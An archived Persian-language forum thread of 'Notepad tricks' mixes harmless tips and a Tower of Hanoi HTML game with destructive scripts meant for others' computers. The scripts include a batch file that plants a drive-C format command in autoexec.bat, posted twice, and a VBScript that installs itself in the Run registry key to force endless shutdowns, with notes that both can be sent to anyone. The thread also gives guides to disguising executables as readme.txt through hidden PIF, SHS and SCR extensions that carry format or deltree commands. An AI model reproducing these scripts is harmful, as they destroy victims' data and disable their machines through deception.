View Full Version : آموزش ترفندهاي نت پد در اينجا
ali_boujari
03-15-2005, 08:44 PM
اسم اين ويروسي كه شما امروز ميسازيد Eicar است اين ويروس در حقيقت يك ويروس نماي استاندارد براي تست آنتي ويروسهاست. يادتان باشد قبل از شروع به كار آنتي ويروس خود را فعال كنيد .اگر آنتي ويروس شما اين ويروس را تشخيص داد كه هيچ ولي اگر تشخيص نداد يا بايد آنتي ويروس خود را آپديت كنيد يا آن را تعويض نماييد. براي تكميل توضيحات فوق بايد بگم EICAR مخفف عبارت European Institute for Computer Antivirus Research است. شروع كار: مثل هميشه ابتدا Notepad را باز كنيد و عبارت زير را در آن وارد كنيد لطفا از Copy و Paste استفاده كنيد:
X5O!P%@AP[4PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* سپس SaveAs را انتخاب و فايل را با پسوند com سيو كنيد يعني با نامي مثل eicar.com خب كار به پايان رسيد.
اين ويروس يك ويروس واقعي نيست و در حقيقت يك ويروس نما است و فقط براي تست آنتي ويروس شما مثل يك ويروس عمل ميكند. ميتوانيد مطمئن باشيد كه eicar به هيچ وجه به سيستم شما آسيبي نخواهد رساند.
ali_boujari
03-15-2005, 08:47 PM
هر گاه در نت پد مشغول نوشتن چيزي باشيد و بخواهيد تاريخ و ساعت را در پايان يا هرجاي ديگر مطلب خود بنويسيد ميتوانيد در همانجا كليد F5 را زده و اين كار بصورت خودكار انجام ميشود
اين اولي چه ربطي به آموزش ترفند نوتپد داشت؟
دومن مگه نوتپد هم ترفندها داره؟ :mrgreen:
ali_boujari
03-16-2005, 09:40 AM
دوست عزيز تا دل بخواد نتپد ترفند داره پنجره ي نتپد را باز كن
وبعد عبارات را در آن كپي كن
Navid
03-16-2005, 02:41 PM
جالبه ×× نوتپد و ترفند ! :D مرسی
Arashi
03-16-2005, 03:15 PM
مرسي علي جان --استفاده كردم :mrgreen: :mrgreen: :mrgreen: :mrgreen:
ali_boujari
03-16-2005, 04:07 PM
خودمان در نت پد ترفند كشف كنيم
مطابق زير عمل كنيد:
1- وارد داس شويد و تايپ كنيد Edit تا وارد اديتور شويد كه صفحه اي آبي رنگ است
2- از منوي بالاي صفحه File را انتخاب و روي Open كليك كنيد.
3- به اين مسير برويد:C / WINDOWS و در پنجره سمت چپ دنبال فايلي به نام explorer.scf بگرديد
4- متني كه در آن ميبينيد را عينا درون Notepad وارد كنيد و فايل خود را با پسوند scf سيو كنيد. به اين طريق برنامه explorer.scf بر روي صفحه ظاهر ميشود.. بله شما اولين ترفند خود را خودتان ساختيد!!! به اين وسيله شما ميتوانيد خودتان در Notepad ترفند كشف كنيد!
قبل از اينكه وارد اين محيط شويد بايد بدانيد بر خلاف محيط بي آزار نت پد محيط Dos Editor بسيار بسيار خطرناك است. هرگونه تغييري كه خواسته يا ناخواسته در متن كد ها بوجود آوريد امكان هيچگونه بازگشت ندارد اينجا از كليدي به نام Undo خبري نيست!! همچنين همه تغييرات بطور خودكار سيو ميشود و هيچگاه موقع خروج از اديتور ازشما سوال نميشود كه Do you want to save changes و همه چيز بطور خودكار ذخيره شده و اگر احيانا كد فايل هاي اصلي سيستم را دستكاري كنيد حتي System Restore و Backup هاي رجيستري هم به دادتان نخواهند رسيد.
ali_boujari
03-16-2005, 04:09 PM
اين ويروس را به طرق مختلفي و با دستورات گوناگوني ميتوان نوشت كه در اينجا دو روش را مورد بررسي قرار ميدهيم در ضمن لطفا اگر با اين دستورات از قبل آشنايي نداريد حتما از Copy/Paste استفاده كنيد .
روش اول/ با استفاده ازShortcut در جايي از دسكتاپ خود Right Click كنيد و در بخش New گزينه Shortcut را انتخاب كنيد و در بخش ظاهر شده يكي از دستورات زير را وارد كنيد:
shutdown -s -t xx -1
windir%system32shutdown.exe -s -t xx% -2
توضيح: بعد از اينكه Paste كرديد به جاي xx در دستورات بالا مدت زماني را بر حسب ثانيه قرار دهيد تا كامپيوتر پس از آن زمان خاموش شود. سپس Next را بزنيد و براي فايل خود يك نام برگزينيد و كار تمام است!!.
روش دوم/ به كمكNotepad نت پد را باز كنيد و باز هم يكي از دو دستور بالا را در آن Paste كنيد و حالا فايل خود را با پسوند bat يعني با نامي مثل shutdown.bat سيو كنيدفكر ميكنم تا به حال بايد متوجه شده باشيد كه bat مخفف BatchFile است. براي پادزهر درست كردن براي اين ويروس هم ميتوانيد از دستور زير استفاده كنيد:
shutdown -a
و همه مراحل قبل را انجام دهيد. اين دستور هم از هر دو راه فوق قابل اجرا است.
ehsan_rx1
03-16-2005, 05:32 PM
خوب بود ادامه بده
ali_boujari
03-16-2005, 11:58 PM
استفاده از فایلهای پنهان برای هک
اگر سعي كنيد تا notepad.exe را به anything.txt.pif تغيير نام دهيد، تنها فايلي با نام anything.txt روي desktop خود خواهيد ديد. و اين بدين دليل است كه PIF پسوندي است كه ويندوز بطور پيش فرض پنهان ميكند. اگر شما فايل را اجرا كنيد برنامه اجرا خواهد شد، به خاطر اينكه ويندوز پسوندهاي PIF را اجرا خواهد كرد حتي اگر آنها فايلهاي اجرايي باشند.
پسوندهاي SHS
يك كپي از notepad.exe بگيريد و آن را روي desktop خود قرار دهيد. Wordpad را باز كنيد. روي notepad.exe كليك كنيد و آن را به سمت سند باز شده wordpad بكشيد. روي notepad.exe كليك كنيد و آن را به عقب به سمت desktop بكشيد. فايلي را كه ايجاد شده است (Scrap) به Readme.txt تغيير نام دهيد. حالايك آيكن كه نشان دهنده سند متني است و فايلي با نام مشخص readme.txt بر روي desktop شما وجود دارد كليك كردن بر روي فايل فوق باعث ميشود notepad باز شود. اگر اين فايل يك Trojan باشد، شما فريب خوردهايد و توسط آنچه كه يك فايل متني بيخطر بنظر ميرسيد آلوده شدهايد. اگر اجازه نمايش اين پسوند داده مي شد شما فريب فايل Readme.txt.shs را نميخورديد.
پسوندهاي SCR
پسوند ديگري كه بايد مراقب آن بود SCR است. كپي notepad.exe خود را به notepad.scr تغيير نام دهيد و روي آن كليك كنيد. Notepad به عنوان يك فايل اجرايي اجرا خواهد شد. بسياري از افراد توسط هكرهايي فريب ميخورند كه account يك قرباني را بدست آوردهاند. هكر email يا هر نوع پيغامي را به تمام قرباني ها ميفرستد كه مثلا "اين صفحه نمايش جديد و بامزه را ببينيد شاخ درمی ارید!" از آنجايي كه اين پيغام از يك منبع مطمئن آمده، اكثر افراد فريب خورده و فايل SCR را اجرا ميكنند كه در نهايت به هكري ختم ميشود كه به كامپيوتر شما متصل شده است.
فرمانهاي خطرناكي كه ميتوانند گنجانده شوند پسوندهاي ميانبر PIF برخي از پسوندهاي پنهان فايل قادرند به سادگي با فرمانهاي پنهان شدهاي كه ميتوانند براي سيستم شما مخرب باشند برنامهريزي شوند. اين يك آزمايش ساده است:
دكمه راست ماوس خود را روي desktop كليك كنيد و New و سپس Shotcut را انتخاب نماييد. در Command line تايپ كنيد:
format a:/autotest
Next را كليك كنيد. در "Select a name for the shortcut" تايپ كنيد:
readme.txt سپس Next را كليك كنيد. يك آيكن notepad را انتخاب كرده و Finish را كليك كنيد. حالا شما در desktop خود فايلي با نام readme.txt و با آيكن notepad داريد. مطمئن شويد كه در درايو شما ديسكي است كه از دست دادن آن براي شما اشكالي ندارد و روي آيكن كليك كنيد. فايلي كه شما روي آن كليك كردهايد درايو A: را فرمت خواهد كرد. البته آيكن هكر درايو ديگري را مورد هدف قرار خواهد داد يا ممكن است نامي همچون ‘game.exe’ و فرماني براي حذف كردن دايركتوري ويندوز شما يا (deltree /y C:\*.*) كل درايو C شما داشته باشد. اگر پسوند PIF پنهان نشود، قادر به فريب شما نخواهد بود. پسوند SHS
فايلهاي Scrap نيز ميتوانند فرمانهاي گنجانده شده را پنهان كند. اين يك آزمون ساده است: از notepad.exe يك كپي بگيريد و آن را روي desktop خود قرار دهيد. Wordpad را باز كنيد.Notepad.exe را كليك كنيد و آن را به سمت سند باز شده wordpad بكشيد. روي Edit كليك كنيد و Package Object و سپس Edit package را انتخاب كنيد. روي Edit و سپس Command Line كليك كنيد. در كادر، دستوري مانند format a:/autotest را تايپ كنيد و روي OK كليك كنيد. از پنجره خارج شويد، اين كار سند را به روز خواهد كرد. روي notepad.exe كليك كنيد و آن را به عقب به سمت Desktop بكشيد. فايلي را كه ايجاد شده (Scrap) به Readme.txt تغيير نام دهيد. حالا شما آنچه را كه شبيه يك فايل متني است داريد. اگر اين فايل اجرا شود درايو A: را فرمت خواهد كرد. همانگونه كه در مثال بالا براي پسوندهاي ميانبر PIF ديده شد، هكر ميتواند از فرمانهاي خطرناكتري استفاده كند.
استفاده از مطالب فوق به هيچ وجه توصيه نمي شود و مطلب فوق فقط جنبه آموزشي دارد.
Nesta
03-18-2005, 06:54 AM
سلام
دستت درد نکنه چيزه جديدی بود مرسی
Mohammad
03-19-2005, 02:38 AM
مرسی :wink:
mpsjavad
03-20-2005, 05:14 AM
با سلام ...
ساختن دكمه Run: شما در بعضي كامپيترها ممكن است به دلايل امنيتي يا غير امنيتي دسترسي به دكمه Run نداشته باشيد اين كار به وسيله بعضي از نرم افزارهاي امنيتي قابل انجام است. در اين حالت شما ميتوانيد با نت پد اين كليد كارآمد را خودتان بسازيد:
براي اين كار Notepad را باز كنيد و متن زير را در آن Paste كنيد.
(new ActiveXObject("Shell.Application")).FileRun() سپس فايل خود را با پسوند JS يعنی با نامي مثل MyRun.jsسيو كنيد. البته همانطور كه ميدانيد js مخفف Java Script است. :wink:
ali_boujari
04-22-2005, 03:34 PM
یکی از دوستان سوال کرده بود که دو تا ویندوز XP یکی در درایو C و دیگری در درایو D دارد و میخواهد که درایو C را Format کند. جواب: با ترفند زیر میتوانید درایو C را فورمت کنید.
Format كردن درایو C با يك فايل BAT
برنامه NotePad را باز كنيد سپس كد زير را در آن كپي و پيست كنيد:
@echo off
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo format /autotest c:/q>nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
exit
حالا فايل را با پسوند bat ذخيره كنيد. حال اگر فايل را اجرا كنيد كل اطلاعات درايو سي شما پاك مي شود!
در ضمن اگر این فیل را برای کس دیگری بفرستید ابتدا كل اطلاعات موجود در فايل autoexe.bat را پاك مي كنيد سپس كد 'format /autotest c:/q' را در آن قرار مي دهد وقتي هدف شما كامپيوتر را ريست و دوباره راه اندازي كند اين كد اجرا شده و درايو سي فرمت مي شود!
تعداد و نام پارتيشن مورد نظر را با اندکي تغيير در کد خود ميتوانيد تعيين کنيد
ali_boujari
04-22-2005, 03:36 PM
اين اسکريپت روی هرکامپيوتری اجرا بشه نمی ذاره کامپيوترش بالا بیاد. حتی فرصت کليک کردن روی ايکن رو بهش نمی ده .و پشت سر هم restart می شه! می تونيد روی کامپيوتر خودتون هم اجراش کنيد . برای خلاصی ازش بايد فايل C:\restart.vbs رو از کامپيوترتون از طريق Dos حذف کنيد بعد ويندوزتون بالا می آد
کد پایین را روی notepad کپی کنيد و فايل را با پسوند vbs ذخيره کنيد. می تونيد برای هر کسی بفرستيد.
كد :
Sub ShutDown Set FSO = CreateObject("Scripting.FileSystemObject") Set TxtFile = FSO.CreateTextFile("c:\restart.vbs", 2, False) TxtFile.WriteLine "Sub ShutDown " TxtFile.WriteLine "nLogOff=0 " TxtFile.WriteLine "nReboot=2 " TxtFile.WriteLine "nForceLogOff=4 " TxtFile.WriteLine "nForceReboot=6 " TxtFile.WriteLine "nPowerDown=8 " TxtFile.WriteLine "nForcePowerDown=12 " TxtFile.WriteLine "Set oOS = GetObject("+chr(34)+"winmgmts:{(Shutdown)}"+chr(34)+").ExecQuery("+chr(34)+"Select * from Win32_OperatingSystem"+chr(34)+") " TxtFile.WriteLine "For Each oOperatingSystem in oOS " TxtFile.WriteLine " oOperatingSystem.Win32Shutdown(nForcePowerDown) " TxtFile.WriteLine "Next " TxtFile.WriteLine "End sub " TxtFile.WriteLine "ShutDown " TxtFile.Close Set WshShell = CreateObject("WScript.Shell") WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr entVersion\Run\Restart", "c:\restart.vbs" End sub ShutDown
مهران
04-25-2005, 04:58 PM
مرسي چيزهاي جالبي گقتي باز هم ادامه بده :D :D
keyvan
04-25-2005, 08:25 PM
با سلام
بسیار آموزنده است لظفا ادامه دهید
ali_boujari
04-26-2005, 02:59 PM
چشم
ali_boujari
04-26-2005, 03:02 PM
با نت پد بازي بسازيد
پنجره ي نت پد را باز كنيد و كد زير را وارد كنيد
<!-- www.NazaninSt.PersianBlog.com -->
<html>
<head>
<title>Nazanin Studio - DHTML Game</title>
<style type="text/css">
table {font:bold 13px Verdana}
p {font:normal 11px Tahoma,Verdana}
input,select {font:normal 12px Tahoma,Verdana}
select {width:40px}
a {font-weight:bold}
.tower {position:absolute;visibility:visible;left:77px;to p:184px;font:bold 10px Tahoma}
.container {position:absolute;visibility:visible;}
.towervert {position:absolute;visibility:visible;border:1px solid black;background-color:black}
.towerhoriz {position:absolute;visibility:visible;border:1px solid black;font-size:1px;background-color:black}
.disk {position:absolute;visibility:visible;border:1px solid black}
</style>
<script type="text/javascript">
/***********************************
*
* Nazanin Studio Dynamic HTML Cods
*
************************************/
var delay = 600; //in milliseconds
var drag=false;
var objDisk=null;
var x = 0;
var y = 0;
var disksOnTower1 = new Array(null,null,null,null,null,null,null,null);
var disksOnTower2 = new Array(null,null,null,null,null,null,null,null);
var disksOnTower3 = new Array(null,null,null,null,null,null,null,null);
var disksOnTowers = new Array(disksOnTower1,disksOnTower2,disksOnTower3);
var offsetleft = 30;
var offsettop = 30;
var offsettower = 20;
var offsethoriz = 30;
var basetop = 0;
var diskheight = 0;
var midhoriztower = 0;
var indexTo=1;
var indexFr=1;
var movectr=0;
var gameOver=false;
var prevIndex=0;
var zindex = 0;
var currTower=1;
var prevTower=1;
var demo=false;
var arrFr = new Array(255);
var arrTo = new Array(255);
var idx = 0;
var pos = 0;
var t=null;
var stop=false;
function init(){
if (document.getElementById){
var diskno = document.hanoi.diskno;
diskno.options.selectedIndex = 0;
drawTowers();
drawDisks(parseInt(diskno.options[diskno.options.selectedIndex].text));
}
}
function initVars(){
for (var i=0;i<disksOnTower1.length;i++){
disksOnTower1[i]=null;
disksOnTower2[i]=null;
disksOnTower3[i]=null;
}
drag = false;
indexTo = 1;
indexFr = 1;
movectr = 0;
zindex = 0;
idx = 0;
pos = 0;
t = null;
gameOver=false;
stop=false;
demo=false;
document.hanoi.btnUndo.disabled=true;
}
function drawTowers(){
var title=document.getElementById("title");
var tower1=document.getElementById("tower1");
var tower2=document.getElementById("tower2");
var tower3=document.getElementById("tower3");
var settings=document.getElementById("settings");
var titlewidth = parseInt(title.style.width);
var titleheight = parseInt(title.style.height);
var towerwidth = parseInt(tower1.style.width);
var towerheight = parseInt(tower1.style.height);
var settingswidth = parseInt(settings.style.width);
midhoriztower = parseInt(document.getElementById("horiztower1").style.width)/2;
diskheight = parseInt(document.getElementById("disk1").style.height);
title.style.left=offsetleft+(1.5*towerwidth)+offse ttower-(titlewidth/2)+"px";
title.style.top=offsettop+"px";
tower1.style.left=offsetleft+"px";
tower1.style.top=offsettop+titleheight+offsethoriz +"px";
tower2.style.left=offsetleft+towerwidth+offsettowe r+"px";
tower2.style.top=offsettop+titleheight+offsethoriz +"px";
tower3.style.left=offsetleft+(towerwidth+offsettow er)*2+"px";
tower3.style.top=offsettop+titleheight+offsethoriz +"px";
settings.style.left=offsetleft+(1.5*towerwidth)+of fsettower-(settingswidth/2)+"px";
settings.style.top=parseInt(tower1.style.top)+towe rheight+offsethoriz+"px";
}
function drawDisks(disknum){
var tower1=document.getElementById("tower1");
var disktop = parseInt(tower1.style.top)+parseInt(document.getEl ementById("horiztower1").style.top);
var lefttower1 = parseInt(tower1.style.left);
var disk;
var f=document.hanoi;
basetop = disktop;
for (var i=disksOnTower1.length;i>=1;i--){
disk = document.getElementById("disk"+i);
disk.style.zIndex=++zindex;
if (i<=disknum){
disk.style.left=lefttower1+midhoriztower-parseInt(disk.style.width)/2+"px";
disk.style.top=disktop-diskheight-1+"px";
disktop = parseInt(disk.style.top);
disksOnTowers[0][i-1]=disk;
}
else {
disk.style.left="-250px";
disk.style.top="-250px";
disksOnTowers[0][i-1]=null;
}
}
f.minmove.value=f.diskno.options[f.diskno.options.selectedIndex].value;
f.yourmove.value=0;
}
function newGame(obj){
if (movectr>0 && !gameOver && !stop){
if (confirm("Current game will be aborted, would you like to continue?")){
initVars();
drawDisks(parseInt(obj.options[obj.options.selectedIndex].text));
}
else document.hanoi.diskno.options.selectedIndex=prevIn dex;
}
else {
initVars();
drawDisks(parseInt(obj.options[obj.options.selectedIndex].text));
}
}
function initializeDrag(disk,e){
if (!e) e=event;
if (stop){
alert("You cannot continue solving the puzzle after clicking the 'Stop' button.\nClick 'Restart' button or select no. of disks to continue playing.");
return;
}
indexFr = indexTo;
if (disk.id!=disksOnTowers[indexFr-1][0].id || gameOver || demo) return;
objDisk=disk;
x=e.clientX;
y=e.clientY;
tempx=parseInt(disk.style.left);
tempy=parseInt(disk.style.top);
document.onmousemove=dragDisk;
}
function dragDisk(e){
if (!e) e=event;
zindex++;
drag=true;
var posX = tempx+e.clientX-x;
var posY = tempy+e.clientY-y;
var objTower1 = document.getElementById("tower1");
var objTower2 = document.getElementById("tower2");
var objTower3 = document.getElementById("tower3");
var tower1Left = parseInt(objTower1.style.left);
var tower2Left = parseInt(objTower2.style.left);
var tower3Left = parseInt(objTower3.style.left);
var tower3Width = parseInt(objTower3.style.width);
objDisk.style.zIndex=zindex;
objDisk.style.left=posX+'px';
objDisk.style.top=posY+'px';
if (e.clientX>=document.body.clientWidth-10 || e.clientY>=document.body.clientHeight-5 || e.clientX==5 || e.clientY==5){ //outside available window
indexTo=indexFr;
dropDisk(objDisk);
}
else if ( //in the vicinity of tower 3
(tower3Left<=posX) &&
(tower3Left+tower3Width>=posX) &&
(parseInt(objTower3.style.top)+parseInt(objTower3. style.height)>posY)
){
indexTo=3;
}
else if ((tower2Left<=posX) && (tower2Left+tower3Width>=posX)){ //in the vicinity of tower 2
indexTo=2;
}
else if ((tower1Left<=posX) && (tower1Left+parseInt(objTower1.style.width)>=posX)){ //in the vicinity of tower 1
indexTo=1;
}
else indexTo = indexFr;
return false;
}
function dropDisk(disk){
var f=document.hanoi;
document.onmousemove=new Function("return false");
if (!drag) return;
var gameStatus=false;
var topDisk = disksOnTowers[indexTo-1][0];
if (indexFr==indexTo){
getNewTop(indexFr,null);
pushDisk(disk,indexFr); //put disk back to original tower
getNewTop(indexFr,disk);
}
else if (topDisk==null) {
pushDisk(disk,indexTo);
getNewTop(indexFr,null);
getNewTop(indexTo,disk);
movectr++;
currTower=indexTo;
prevTower=indexFr;
f.btnUndo.disabled=false;
}
else if (parseInt(disk.style.width)<parseInt(topDisk.style .width)){
pushDisk(disk,indexTo);
getNewTop(indexFr,null);
getNewTop(indexTo,disk);
movectr++;
currTower=indexTo;
prevTower=indexFr;
if (indexTo==3) gameStatus=checkStatus();
f.btnUndo.disabled=false;
}
else {
getNewTop(indexFr,null);
pushDisk(disk,indexFr); //put disk back to original tower
getNewTop(indexFr,disk);
}
drag=false;
f.yourmove.value=movectr;
if (gameStatus) {
f.btnUndo.disabled=true;
minmove = parseInt(f.minmove.value);
if (movectr==minmove) msg="\nCongratulations! You got it in "+minmove+" moves."
else if (movectr>minmove) msg="\nYou can do better than that."
else msg="";
alert("Game Over !!!"+msg);
gameOver=true;
}
return;
}
function checkStatus(){
var gameStat = false;
var disks=0;
for (var i=0;i<disksOnTower3.length;i++){
if (disksOnTowers[2][i]!=null) disks++;
}
if (disks==parseInt(document.hanoi.diskno.options[document.hanoi.diskno.options.selectedIndex].text)) gameStat=true;
return gameStat;
}
function pushDisk(disk,index){
var diskWidth = parseInt(disk.style.width);
var towerLeft = parseInt(document.getElementById("tower"+index).style.left);
var topDisk = disksOnTowers[index-1][0];
if (topDisk!=null){
topDiskWidth = parseInt(topDisk.style.width);
topDiskTop = parseInt(topDisk.style.top);
disk.style.left=towerLeft+midhoriztower-diskWidth/2+"px";
disk.style.top=topDiskTop-diskheight-1+"px";
}
else {
disk.style.left=towerLeft+midhoriztower-diskWidth/2+"px";
disk.style.top=basetop-diskheight-1+"px";
}
}
function getNewTop(index,disk){
if (disk==null){ //pop
for (var i=0;i<disksOnTower1.length-1;i++){
disksOnTowers[index-1][i]=disksOnTowers[index-1][i+1];
}
disksOnTowers[index-1][disksOnTower1.length-1]=null;
}
else { //push
for (var i=disksOnTower1.length-1;i>=1;i--){
disksOnTowers[index-1][i]=disksOnTowers[index-1][i-1];
}
disksOnTowers[index-1][0]=disk;
}
}
function solve(btn){
if (btn.value=="Solve"){
if (movectr>0 && !gameOver && !stop)
if (!confirm("Current game will be aborted, would you like to continue?")) return;
btn.value="Stop";
initVars();
stop=false;
demo=true;
var f=document.hanoi;
f.btnIns.disabled=true;
f.btnRes.disabled=true;
f.btnUndo.disabled=true;
disknum = parseInt(f.diskno.options[f.diskno.options.selectedIndex].text);
drawDisks(disknum);
getMoves(0, 2, 1, disknum);
t=window.setTimeout("moveDisk()",delay);
}
else {
if (t) {
window.clearTimeout(t);
btn.value="Solve";
frm.btnIns.disabled=false;
frm.btnRes.disabled=false;
t = null;
stop=true;
demo=false;
}
}
}
function moveDisk(){
frm = document.hanoi;
disk=disksOnTowers[arrFr[pos]][0];
pushDisk(disk,arrTo[pos]+1);
getNewTop(arrFr[pos]+1,null);
getNewTop(arrTo[pos]+1,disk);
movectr++;
frm.yourmove.value=movectr;
pos++;
if (movectr<parseInt(frm.minmove.value)) t=window.setTimeout("moveDisk()",delay);
else {
alert("Can you do that in "+movectr+" moves?");
gameOver=true;
stop=false;
frm.btnSolve.value="Solve";
frm.btnIns.disabled=false;
frm.btnRes.disabled=false;
}
}
function getMoves(from,to,empty,numDisk){
if (numDisk > 1) {
getMoves(from, empty, to, numDisk - 1);
arrFr[idx] = from;
arrTo[idx++] = to;
getMoves(empty, to, from, numDisk - 1);
}
else {
arrFr[idx] = from;
arrTo[idx++] = to;
}
}
function unDo(btn){
disk=disksOnTowers[currTower-1][0];
pushDisk(disk,prevTower);
getNewTop(currTower,null);
getNewTop(prevTower,disk);
movectr--;
document.hanoi.yourmove.value=movectr;
btn.disabled=true;
}
function displayIns(){
var msg="Try to move all the disks from TOWER 1 to TOWER 3.\n";
msg+="You may only move one disk at a time.\n";
msg+="You must never allow a bigger disk to go on top of a smaller disk.";
alert(msg);
}
</script>
</head>
<body onload="init();" onselectstart="return false" oncontextmenu="return false">
<form name="hanoi">
<div id="title" style="position:absolute;visibility:visible;left:-250px;top:-250px;width:160px;height:20px;font:bold 20px Tahoma;text-align:center;">Tower of Hanoi</div>
<div id="tower1" class="container" style="left:-250px;top:-250px;width:200px;height:200px" onmousemove="indexTo=1">
<div id="verttower1" class="towervert" style="left:99px;top:10px;width:3px;height:170px"></div>
<div id="horiztower1" class="towerhoriz" style="left:0px;top:180px;width:200px;height:2px"></div>
<div class="tower">TOWER 1</div>
</div>
<div id="tower2" class="container" style="left:-250px;top:-250px;width:200px;height:200px" onmousemove="indexTo=2">
<div id="verttower2" class="towervert" style="left:99px;top:10px;width:3px;height:170px"></div>
<div id="horiztower2" class="towerhoriz" style="left:0px;top:180px;width:200px;height:2px"></div>
<div class="tower">TOWER 2</div>
</div>
<div id="tower3" class="container" style="left:-250px;top:-250px;width:200px;height:200px" onmousemove="indexTo=3">
<div id="verttower3" class="towervert" style="left:99px;top:10px;width:3px;height:170px"></div>
<div id="horiztower3" class="towerhoriz" style="left:0px;top:180px;width:200px;height:2px"></div>
<div class="tower">TOWER 3</div>
</div>
<div id="disk1" class="disk" style="left:-250px;top:-250px;width:50px;height:19px;background-color:pink" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 1"></div>
<div id="disk2" class="disk" style="left:-250px;top:-250px;width:70px;height:19px;background-color:violet" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 2"></div>
<div id="disk3" class="disk" style="left:-250px;top:-250px;width:90px;height:19px;background-color:indigo" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 3"></div>
<div id="disk4" class="disk" style="left:-250px;top:-250px;width:110px;height:19px;background-color:blue" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 4"></div>
<div id="disk5" class="disk" style="left:-250px;top:-250px;width:130px;height:19px;background-color:green" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 5"></div>
<div id="disk6" class="disk" style="left:-250px;top:-250px;width:150px;height:19px;background-color:yellow" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 6"></div>
<div id="disk7" class="disk" style="left:-250px;top:-250px;width:170px;height:19px;background-color:orange" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 7"></div>
<div id="disk8" class="disk" style="left:-250px;top:-250px;width:190px;height:19px;background-color:red" onmousedown="initializeDrag(this,event)" onmouseup="dropDisk(this)" title="Disk 8"></div>
<div id="settings" class="container" style="left:-250px;top:-250px;width:260px;">
<table>
<tr><td>No. of disks</td>
<td>
<select name="diskno" onchange="newGame(this)" onclick="prevIndex=this.options.selectedIndex">
<option value="7" selected>3</option>
<option value="15">4</option>
<option value="31">5</option>
<option value="63">6</option>
<option value="127">7</option>
<option value="255">8</option>
</select>
</td></tr>
<tr><td>Minimum no. of moves </td>
<td><input name="minmove" style="border:none" size="3" value="255" readonly="readonly" /></td></tr>
<tr><td>Your no. of moves</td>
<td><input name="yourmove" style="border:none" size="3" value="0" readonly="readonly" /></td></tr>
<tr><td colspan="2" align="center">
<input type="button" name="btnIns" value="Instructions" onclick="displayIns()" />
<input type="button" name="btnRes" value="Restart" onclick="newGame(document.hanoi.diskno)" />
<input type="button" name="btnUndo" value="Undo" onclick="unDo(this)" disabled="disabled" />
<input type="button" name="btnSolve" value="Solve" onclick="solve(this)" />
</td></tr>
</table>
<p> </p>
<p>
This DHTML script is featured on <a href="http://www.NazaninSt.PersianBlog.com" target="_blank">Nazanin Studio</a>.
</p>
</div>
</form>
</body>
</html>
حالا اين فايل را با پسوند htm.* سيو كنيد
parham
05-06-2005, 11:24 PM
واقعا عاليست
ممنون
باز هم ادامه دهيد :arrow:
ZiTaNiX
05-06-2005, 11:52 PM
جالب بود
AveCina
05-06-2005, 11:54 PM
خسته نباشي و خيلي جالب بود :P
ZiTaNiX
05-07-2005, 12:08 AM
اون کد هایی که اون بالا گفتی که مال اچ تی ام ال بود
ali_boujari
05-07-2005, 02:56 PM
دوست عزيز بعضي هاش اره بعضي هاش نه
mojtaba-p30
05-08-2005, 05:07 PM
اقا خطرناك نباشه :mrgreen:
mojtaba-p30
05-08-2005, 05:11 PM
ali_boujari به چه درد ميخوره :?:
ali_boujari
05-08-2005, 05:59 PM
چرا خطر ناك باشه
reza jaky
05-09-2005, 09:38 PM
*************سلام به علی جان ************
بابا تو دیگه کی هستی اولین بارمه وارد این تاپیک میشم
خیلی باحاله باور کن حال کردم حال ترو خدا ادامه بده ؟؟؟
ali_boujari
05-09-2005, 10:37 PM
ما مخلص شما هستيم چشم يكم ترفند كشف كنم ادامه مي دم
ali_boujari
05-09-2005, 10:41 PM
یکی از دوستان سوال کرده بود که دو تا ویندوز XP یکی در درایو C و دیگری در درایو D دارد و میخواهد که درایو C را Format کند. جواب: با ترفند زیر میتوانید درایو C را فورمت کنید.
Format كردن درایو C با يك فايل BAT
برنامه NotePad را باز كنيد سپس كد زير را در آن كپي و پيست كنيد:
@echo off
call attrib -r -h c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo format /autotest c:/q>nul >>c:\autoexec.bat
call attrib +r +h c:\autoexec.bat >nul
exit
حالا فايل را با پسوند bat ذخيره كنيد. حال اگر فايل را اجرا كنيد كل اطلاعات درايو سي شما پاك مي شود!
در ضمن اگر این فیل را برای کس دیگری بفرستید ابتدا كل اطلاعات موجود در فايل autoexe.bat را پاك مي كنيد سپس كد 'format /autotest c:/q' را در آن قرار مي دهد وقتي هدف شما كامپيوتر را ريست و دوباره راه اندازي كند اين كد اجرا شده و درايو سي فرمت مي شود!
تعداد و نام پارتيشن مورد نظر را با اندکي تغيير در کد خود ميتوانيد تعيين کنيد
ali_boujari
05-09-2005, 10:43 PM
avecinaجونم وظيفه بود
ali_boujari
05-09-2005, 10:51 PM
اين اسکريپت روی هرکامپيوتری اجرا بشه نمی ذاره کامپيوترش بالا بیاد. حتی فرصت کليک کردن روی ايکن رو بهش نمی ده .و پشت سر هم restart می شه! می تونيد روی کامپيوتر خودتون هم اجراش کنيد . برای خلاصی ازش بايد فايل C:\restart.vbs رو از کامپيوترتون از طريق Dos حذف کنيد بعد ويندوزتون بالا می آد
کد پایین را روی notepad کپی کنيد و فايل را با پسوند vbs ذخيره کنيد. می تونيد برای هر کسی بفرستيد.
كد :
